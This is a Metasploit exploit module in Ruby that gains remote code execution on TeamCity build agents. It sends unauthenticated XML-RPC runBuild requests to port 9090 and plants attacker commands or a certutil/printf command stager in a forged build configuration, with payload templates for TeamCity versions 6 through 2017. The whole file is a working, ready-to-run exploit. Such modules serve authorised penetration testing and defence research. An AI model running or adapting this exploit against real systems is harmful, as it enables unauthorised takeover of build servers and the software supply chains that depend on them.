##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TeamCity Agent XML-RPC Command Execution',
      'Description'    => %q(
        This module allows remote code execution on TeamCity Agents configured
        to use bidirectional communication via xml-rpc. In bidirectional mode
        the TeamCity server pushes build commands to the Build Agents over port
        TCP/9090 without requiring authentication. Up until version 10 this was
        the default configuration. This module supports TeamCity agents from
        version 6.0 onwards.
      ),
      'Author'         => ['Dylan Pindur <dylanpindur@gmail.com>'],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://www.tenable.com/plugins/nessus/94675']
        ],
      'Platform'       => %w[linux win],
      'Targets'        =>
        [
          ['Windows', { 'Platform' => 'win' }],
          ['Linux', { 'Platform' => 'linux' }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 14 2015'))

    deregister_options('SRVHOST', 'SRVPORT', 'URIPATH', 'VHOST')
    register_options(
      [
        Opt::RPORT(9090),
        OptString.new(
          'CMD',
          [false, 'Execute this command instead of using command stager', '']
        )
      ]
    )
  end

  def check
    version = determine_version
    if !version.nil? && version >= 15772
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    version = determine_version
    if version.nil?
      fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version')
    else
      print_status("Found TeamCity Agent running build version #{version}")
    end

    unless datastore['CMD'].blank?
      print_status('Executing user supplied command')
      execute_command(datastore['CMD'], version)
      return
    end

    case target['Platform']
    when 'linux'
      linux_stager(version)
    when 'win'
      windows_stager(version)
    else
      fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end
  end

  def windows_stager(version)
    print_status('Constructing Windows payload')

    stager = generate_cmdstager(
      flavor: :certutil,
      temp: '.',
      concat_operator: "\n",
      nodelete: true
    ).join("\n")
    stager = stager.gsub(/^(?<exe>.{5}\.exe)/, 'start "" \k<exe>')

    xml_payload = build_request(stager, version)
    if xml_payload.nil?
      fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
    end

    print_status("Found compatible build config for TeamCity build #{version}")
    send_request(xml_payload)
  end

  def linux_stager(version)
    print_status('Constructing Linux payload')

    stager = generate_cmdstager(
      flavor: :printf,
      temp: '.',
      concat_operator: "\n",
      nodelete: true
    ).join("\n")
    stager << ' &'

    xml_payload = build_request(stager, version)
    if xml_payload.nil?
      fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
    end

    print_status("Found compatible build config for TeamCity build #{version}")
    send_request(xml_payload)
  end

  def execute_command(cmd, version)
    xml_payload = build_request(cmd, version)

    if xml_payload.nil?
      fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
    end

    print_status("Found compatible build config for TeamCity build #{version}")
    send_request(xml_payload)
  end

  def determine_version
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.getVersion</methodName>
  <params></params>
</methodCall>
    )
    res = send_request_cgi(
      {
        'uri'    => '/',
        'method' => 'POST',
        'ctype'  => 'text/xml',
        'data'   => xml_payload.strip!
      },
      10
    )

    if !res.nil? && res.code == 200
      xml_doc = res.get_xml_document
      if xml_doc.errors.empty?
        val = xml_doc.xpath('/methodResponse/params/param/value')
        if val.length == 1
          return val.text.to_i
        end
      end
    end
    return nil
  end

  def send_request(xml_payload)
    res = send_request_cgi(
      {
        'uri'    => '/',
        'method' => 'POST',
        'ctype'  => 'text/xml',
        'data'   => xml_payload
      },
      10
    )

    if !res.nil? && res.code == 200
      print_status("Successfully sent build configuration")
    else
      print_status("Failed to send build configuration")
    end
  end

  def build_request(script_content, version)
    case version
    when 0..15771
      return nil
    when 15772..17794
      return req_teamcity_6(script_content)
    when 17795..21240
      return req_teamcity_6_5(script_content)
    when 21241..27401
      return req_teamcity_7(script_content)
    when 27402..32059
      return req_teamcity_8(script_content)
    when 32060..42001
      return req_teamcity_9(script_content)
    when 42002..46532
      return req_teamcity_10(script_content)
    else
      return req_teamcity_2017(script_content)
    end
  end

  def req_teamcity_2017(script_content)
    build_code = Rex::Text.rand_text_alpha(8)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myBuildTypeExternalId>x</myBuildTypeExternalId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
            <myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
            <myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myServerParameters class="StringTreeMap">
              <k>system.build.number</k>
              <v>0</v>
            </myServerParameters>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myArtifactStorageSettings/>
            <myBuildFeatures/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myParametersSpecs class="StringTreeMap"/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootCurrentRevisions class="tree-map"/>
            <myVcsRootEntries/>
            <myVcsRootOldRevisions class="tree-map"/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myId>x</myId>
                <myIsDisabled>false</myIsDisabled>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myChildren class="list"/>
                <myServerParameters class="tree-map">
                  <entry>
                    <string>teamcity.build.step.name</string>
                    <string>x</string>
                  </entry>
                </myServerParameters>
                <myRunnerParameters class="tree-map">
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_10(script_content)
    build_code = Rex::Text.rand_text_alpha(8)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myBuildTypeExternalId>x</myBuildTypeExternalId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
            <myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
            <myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myServerParameters class="StringTreeMap">
              <k>system.build.number</k>
              <v>0</v>
            </myServerParameters>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildFeatures/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myParametersSpecs class="StringTreeMap"/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootCurrentRevisions class="tree-map"/>
            <myVcsRootEntries/>
            <myVcsRootOldRevisions class="tree-map"/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myId>x</myId>
                <myIsDisabled>false</myIsDisabled>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myChildren class="list"/>
                <myServerParameters class="tree-map">
                  <entry>
                    <string>teamcity.build.step.name</string>
                    <string>x</string>
                  </entry>
                </myServerParameters>
                <myRunnerParameters class="tree-map">
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_9(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myBuildTypeExternalId>x</myBuildTypeExternalId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myServerParameters class="StringTreeMap">
              <k>system.build.number</k>
              <v>0</v>
            </myServerParameters>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildFeatures/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootCurrentRevisions class="tree-map"/>
            <myVcsRootEntries/>
            <myVcsRootOldRevisions class="tree-map"/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myId>x</myId>
                <myIsDisabled>false</myIsDisabled>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myChildren class="list"/>
                <myServerParameters class="tree-map">
                  <entry>
                    <string>teamcity.build.step.name</string>
                    <string>x</string>
                  </entry>
                </myServerParameters>
                <myRunnerParameters class="tree-map">
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_8(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
            <myServerParameters class="tree-map">
              <entry>
                <string>system.build.number</string>
                <string>0</string>
              </entry>
            </myServerParameters>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootCurrentRevisions class="tree-map"/>
            <myVcsRootEntries/>
            <myVcsRootOldRevisions class="tree-map"/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myId>x</myId>
                <myIsDisabled>false</myIsDisabled>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myChildren class="list"/>
                <myServerParameters class="tree-map">
                    <entry>
                      <string>teamcity.build.step.name</string>
                      <string>x</string>
                    </entry>
                  </myServerParameters>
                <myRunnerParameters class="tree-map">
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                  </myRunnerParameters>
                </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myBuildFeatures/>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_7(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.runBuild</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
            <myServerParameters class="tree-map">
              <no-comparator/>
              <entry>
                <string>system.build.number</string>
                <string>0</string>
              </entry>
            </myServerParameters>
            <myVcsRootOldRevisions class="tree-map">
              <no-comparator/>
            </myVcsRootOldRevisions>
            <myVcsRootCurrentRevisions class="tree-map">
              <no-comparator/>
            </myVcsRootCurrentRevisions>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myArtifactPaths/>
            <myBuildTypeOptions/>
            <myFullCheckoutReasons/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootEntries/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myRunnerParameters class="tree-map">
                  <no-comparator/>
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>teamcity.step.mode</string>
                    <string>default</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
                <myServerParameters class="tree-map">
                  <no-comparator/>
                  <entry>
                    <string>teamcity.build.step.name</string>
                    <string>x</string>
                  </entry>
                </myServerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
            <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
            <myBuildFeatures/>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_6_5(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.run</methodName>
  <params>
    <param>
      <value>
        <![CDATA[
          <AgentBuild>
            <myBuildId>#{build_id}</myBuildId>
            <myBuildTypeId>x</myBuildTypeId>
            <myPersonal>false</myPersonal>
            <myCheckoutType>ON_AGENT</myCheckoutType>
            <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
            <myServerParameters class="tree-map">
              <no-comparator/>
              <entry>
                <string>system.build.number</string>
                <string>0</string>
              </entry>
            </myServerParameters>
            <myVcsRootOldRevisions class="tree-map">
              <no-comparator/>
            </myVcsRootOldRevisions>
            <myVcsRootCurrentRevisions class="tree-map">
              <no-comparator/>
            </myVcsRootCurrentRevisions>
            <myAccessCode/>
            <myArtifactDependencies/>
            <myBuildTypeOptions/>
            <myPersonalVcsChanges/>
            <myUserBuildParameters/>
            <myVcsChanges/>
            <myVcsRootEntries/>
            <myBuildRunners>
              <jetbrains.buildServer.agentServer.BuildRunnerData>
                <myRunType>simpleRunner</myRunType>
                <myRunnerName>x</myRunnerName>
                <myRunnerParameters class="tree-map">
                  <no-comparator/>
                  <entry>
                    <string>script.content</string>
                    <string>#{script_content}</string>
                  </entry>
                  <entry>
                    <string>use.custom.script</string>
                    <string>true</string>
                  </entry>
                </myRunnerParameters>
                <myServerParameters class="tree-map">
                  <no-comparator/>
                </myServerParameters>
              </jetbrains.buildServer.agentServer.BuildRunnerData>
            </myBuildRunners>
          </AgentBuild>
        ]]>
      </value>
    </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end

  def req_teamcity_6(script_content)
    build_id = Rex::Text.rand_text_numeric(8)
    xml_payload = %(
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>buildAgent.run</methodName>
    <params>
      <param>
        <value>
          <![CDATA[
            <AgentBuild>
              <myBuildId>#{build_id}</myBuildId>
              <myBuildTypeId>x</myBuildTypeId>
              <myAccessCode></myAccessCode>
              <myPersonal>false</myPersonal>
              <myCheckoutType>ON_AGENT</myCheckoutType>
              <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
              <myServerParameters class="tree-map">
                <no-comparator/>
                <entry>
                  <string>system.build.number</string>
                  <string>0</string>
                </entry>
              </myServerParameters>
              <myVcsRootOldRevisions class="tree-map">
                <no-comparator/>
              </myVcsRootOldRevisions>
              <myVcsRootCurrentRevisions class="tree-map">
                <no-comparator/>
              </myVcsRootCurrentRevisions>
              <myArtifactDependencies/>
              <myBuildTypeOptions/>
              <myPersonalVcsChanges/>
              <myUserBuildParameters/>
              <myVcsChanges/>
              <myVcsRootEntries/>
              <myBuildRunners>
                <jetbrains.buildServer.agentServer.BuildRunnerData>
                  <myRunType>simpleRunner</myRunType>
                  <myServerParameters class="tree-map">
                    <no-comparator/>
                  </myServerParameters>
                  <myRunnerParameters class="tree-map">
                    <no-comparator/>
                    <entry>
                      <string>script.content</string>
                      <string>#{script_content}</string>
                    </entry>
                    <entry>
                      <string>use.custom.script</string>
                      <string>true</string>
                    </entry>
                  </myRunnerParameters>
                </jetbrains.buildServer.agentServer.BuildRunnerData>
              </myBuildRunners>
            </AgentBuild>
          ]]>
        </value>
      </param>
  </params>
</methodCall>
    )
    return xml_payload.strip!
  end
end